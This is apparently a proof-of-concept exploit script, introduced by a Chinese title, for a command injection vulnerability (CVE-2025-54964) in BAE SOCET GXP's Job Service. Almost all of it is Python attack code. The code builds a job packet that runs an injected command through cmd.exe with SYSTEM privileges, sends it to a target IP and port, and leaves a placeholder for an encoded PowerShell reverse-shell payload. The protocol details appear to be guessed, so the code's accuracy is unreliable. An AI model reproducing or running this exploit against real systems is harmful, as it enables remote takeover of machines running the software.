CVE-2025-54964 BAE SOCET GXP Job Service 命令注入漏洞

# CVE-2025-54964 PoC - BAE SOCET GXP Job Service Command Injection # This PoC demonstrates the command injection vulnerability in GXP Job Service import socket import struct import sys def create_malicious_job_payload(cmd): """Generate malicious job payload with command injection The vulnerability allows injection of arbitrary executables through job service parameters. This PoC shows the structure of a malicious job submission that could trigger code execution. """ # Job Service header header = b'\x47\x58\x50\x4a' # GXPJ magic bytes version = struct.pack('<H', 1) # Protocol version # Malicious job configuration with command injection # The Job Service does not properly sanitize job parameters job_config = { 'job_type': 'custom', 'command': cmd, # Injected command 'executable_path': 'C:\\Windows\\System32\\cmd.exe', 'arguments': f'/c {cmd}', 'working_directory': 'C:\\Program Files\\BAE Systems\\SOCET GXP\\bin', 'run_as_system': True, 'priority': 'high' } # Serialize job configuration payload = bytearray() for key, value in job_config.items(): key_bytes = key.encode('utf-8') value_bytes = str(value).encode('utf-8') payload.extend(struct.pack('<I', len(key_bytes))) payload.extend(key_bytes) payload.extend(struct.pack('<I', len(value_bytes))) payload.extend(value_bytes) return header + version + struct.pack('<I', len(payload)) + bytes(payload) def send_job_request(target_ip, target_port, malicious_payload): """Send malicious job request to GXP Job Service Target: GXP Job Service (typically port 8443 or 8080) Note: Requires network access to Job Service endpoint """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send malicious payload sock.sendall(malicious_payload) # Receive response response = sock.recv(4096) sock.close() return response except Exception as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 3: print("Usage: python cve_2025_54964_poc.py <target_ip> <port>") print("Example: python cve_2025_54964_poc.py 192.168.1.100 8443") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) # Example command injection - creates a reverse shell connection # In real attack, this would be customized based on target environment injected_command = "powershell -EncodedCommand <base64_encoded_payload>" print(f"[*] Generating malicious job payload...") payload = create_malicious_job_payload(injected_command) print(f"[*] Sending payload to {target_ip}:{target_port}...") response = send_job_request(target_ip, target_port, payload) print(f"[*] Response received: {response}") print(f"[*] If vulnerable, the injected command will be executed by Job Service") if __name__ == "__main__": main()